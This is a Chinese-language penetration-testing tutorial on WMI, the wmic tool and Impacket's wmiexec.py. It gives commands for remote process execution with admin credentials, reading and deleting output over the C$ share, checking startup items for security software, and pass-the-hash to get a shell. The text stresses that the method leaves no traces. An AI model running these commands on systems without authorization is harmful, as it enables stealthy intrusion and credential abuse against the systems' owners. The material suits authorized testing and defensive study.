简介
Windows Management Instrumentation (WMI) 是在基于 Windows 的操作系统上管理数据和操作的基础结构。您可以编写 WMI 脚本或应用程序来自动执行远程计算机上的管理任务,而且WMI 还向操作系统和产品的其他部分提供管理数据,例如 System Center Operations Manager(以前称为 Microsoft Operations Manager (MOM))或 Windows远程管理 ( WinRM )。–微软官方文档
WMI可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。这一点是其它渗透测试工具所不能相比的。注:135 端⼝是 WMIC 默认的管理端⼝。
从远程计算机获取管理数据的能力使 WMI 非常有用。远程 WMI 连接是通过 DCOM 进行的。另一种方法是使用 Windows 远程管理 ( WinRM ),它使用基于 WS-Management SOAP 的协议获取远程 WMI 管理数据。
wmic功能操作
wmic是WMI的其中的一个自带的windows命令行工具,可以直接使用,功能也是比较强大的。
查看系统自启项
这个功能其实还是挺实用的,系统中如果安装了杀毒软件、或者HIDS之类的client,基本上都是开机自启的,可以通过查看开机自启项来确定,方便下一步操作。
下面两个命令都可以查看,后面那个显示的信息更为简洁一点。
wmic startup list brief
wmic startup get command,caption
执行命令,但是因为无法回显,所以可以写入文件中,然后通过IPC连接的type命令来回显文件内容,注:无需额外建立IPC链接。
wmic /node:192.168.220.160 /user:administrator /password:!@#QAZwsx123 process call create "cmd.exe /c ipconfig >C:\1.txt"
IPC显示文件内容
type \\192.168.220.160\C$\1.txt
删除对应文件,
del \\192.168.220.160\C$\1.txt
很多工具也是这么做的,就是一遍一遍的重复上述过程。
wmiexec
Impacket中的wmiexec.py
下载地址https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
这个工具与msf 的auxiliary/scanner/smb/impacket/wmiexec模块是一回事。
wmiexec.py使用python3执行,不需要安装,直接进入目录使用就可以
命令格式
python3 wmiexec.py [[domain/]username[:password]@]<targetName or address>
在使用时发现了一个好玩的事情,":"后面输入密码时,存在特殊字符的话可能回遇到报错的情况,这种情况下可以使用“用户名@IP”的格式,之后在输入密码就不会报错了
另外wmiexec脚本还可以进行hash传递,除了python格式之外,还有vbs版本的,反正用法差不多
命令格式
python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell
python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令
另外powershell 也可以调用wmi以及winrm,后续回详细介绍
参考
https://www.cnblogs.com/-qing-/p/10661480.html
https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page
https://www.freebuf.com/articles/246440.html